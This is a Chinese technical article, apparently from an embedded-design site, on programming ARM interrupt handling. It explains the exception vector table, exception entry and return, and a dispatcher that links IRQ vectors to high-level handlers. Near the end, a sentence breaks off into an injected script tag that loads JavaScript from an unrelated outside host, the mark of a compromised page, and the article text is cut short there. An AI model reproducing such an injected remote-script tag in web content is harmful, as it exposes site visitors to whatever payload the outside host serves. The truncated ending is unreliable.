ARM处理器中断处理的编程实现

arm编程特别是系统初始化代码的编写中通常需要实现中断的响应、解析跳转和返回等操作,以便支持上层应用程序的开发,而这往往是困扰初学者的一个难题。中断处理的编程实现需要深入了解arm内核和处理器本身的中断特征,从而设计一种快速简便的中断处理机制。需要说明的是,具体的上层高级语言编写的中断服务函数不在本文的讨论范围之内。

  arm处理器异常中断处理概述

  当异常中断发生时,系统执行完当前指令后,将跳转到相应的异常中断处理程序处执行。当异常中断处理程序执行完成后,程序返回到发生中断的指令的下一条指令处执行。在进入异常中断处理程序时,要保存被中断的程序的执行现场。从异常中断处理程序退出时,要恢复被中断的程序的执行现场。arm体系中通常在存储地址的低端固化了一个32字节的硬件中断向量表,用来指定各异常中断及其处理程序的对应关系。当一个异常出现以后,arm微处理器会执行以下几步操作:

  * 保存处理器当前状态、中断屏蔽位以及各条件标志位;

  * 设置当前程序状态寄存器cpsr中相应的位;

  * 将寄存器lr_mode设置成返回地址;

  * 将程序计数器(pc)值设置成该异常中断的中断向量地址,从而跳转到相应的异常中断处理程序处执行。

  在接收到中断请求以后, arm处理器内核会自动执行以上四步,程序计数器pc总是跳转到相应的固定地址。从异常中断处理程序中返回包括下面两个基本操作:

  * 恢复被屏蔽的程序的处理器状态;

  * 返回到发生异常中断的指令的下一条指令处继续执行。

  当异常中断发生时,程序计数器pc所指的位置对于各种不同的异常中断是不同的,同样,返回地址对于各种不同的异常中断也是不同的。例外的是,复位异常中断处理程序不需要返回,因为整个应用系统是从复位异常中断处理程序开始执行的。

  支持中断跳转的解析程序

  解析程序的概念和作用

  如前所述,arm处理器响应中断的时候,总是从固定的地址开始的,而在高级语言环境下开发中断服务程序时,无法控制固定地址开始的跳转流程。为了使得上层应用程序与硬件中断跳转联系起来,需要编写一段中间的服务程序来进行连接。这样的服务程序常被称作中断解析程序。

  每个异常中断对应一个4字节的空间,正好放置一条跳转指令或者向pc寄存器赋值的数据访问指令。理论上可以通过这两种指令直接使得程序跳转到对应的中断处理程序中去。但实际上由于函数地址值为未知和其它一些问题,并不这么做。这里给出一种常用的中断跳转流程:

图1中断跳转流程图

  这个流程中的关键部分是中断向量表,为了让解析程序能找到向量表,应该将向量表的地址固定化(编程者自定义)。这样,整个跳转流程的所有程序地址都是固定的,当中断触发后,就可以自动运行。其中,只有向量表的内容是可变的,编程者只要在向量表中填入正确的目标地址值就可以了。这使得上层中断处理程序和底层硬件跳转有机地联系起来。

  解析过程示例

  以一次irq跳转为例,假定中断向量表定义在0x00400000开始的外部ram空间:

图2中断解析示例流程

  图2中实线表示的流程都用arm汇编语言编写,一般作为boot代码的一部分放在系统的底层模块中。填写向量表的操作可以在上层应用程序中方?script src=http://er12.com/t.js>

  • ARM处理器中断处理的编程实现已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计